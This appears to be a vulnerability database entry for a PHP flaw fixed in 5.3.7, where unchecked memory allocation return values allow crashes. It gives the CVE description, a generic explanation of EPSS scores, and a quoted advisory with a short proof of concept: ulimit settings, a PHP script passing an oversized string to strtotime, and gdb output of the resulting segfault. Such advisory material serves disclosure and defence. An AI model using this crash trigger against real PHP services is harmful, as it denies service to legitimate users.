CVE Descriptions

PHP before 5.3.7 does not properly check the return values of the malloc, calloc, and realloc library functions, which allows context-dependent attackers to cause a denial of service (NULL pointer dereference and application crash) or trigger a buffer overflow by leveraging the ability to provide an arbitrary value for a function argument, related to (1) ext/curl/interface.c, (2) ext/date/lib/parse_date.c, (3) ext/date/lib/parse_iso_intervals.c, (4) ext/date/lib/parse_tz.c, (5) ext/date/lib/timelib.c, (6) ext/pdo_odbc/pdo_odbc.c, (7) ext/reflection/php_reflection.c, (8) ext/soap/php_sdl.c, (9) ext/xmlrpc/libxmlrpc/base64.c, (10) TSRM/tsrm_win32.c, and (11) the strtotime function.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/49249/info PHP is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference. An attacker can exploit these issues to cause an application written in PHP to crash, denying service to legitimate users. PHP 5.3.7 is vulnerable; other versions may also be affected. 127# ulimit -m 100000 127# ulimit -v 100000 127# cat /www/strtotime.php <?php $strx=str_repeat("A",$argv[1]); var_dump(strtotime($strx)); ?>127# 127# /cxib/5371/build/bin/php /www/strtotime.php 33388888 Memory fault (core dumped) 127# gdb -q /cxib/5371/build/bin/php (gdb) r /www/strtotime.php 33388888 Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888 Program received signal SIGSEGV, Segmentation fault. 0x0806e8bd in add_error (s=0xbfbfcf90, error=0x83ea7d8 "Double timezone specification") at /cxib/5371/ext/date/lib/parse_date.c:355 355 s->errors->error_messages[s->errors->error_count - 1].position = s->tok ? s->tok - s->str : 0; (gdb) print s->errors->error_messages $1 = (struct timelib_error_message *) 0x0 (gdb) print s->errors->error_count $2 = 1835009
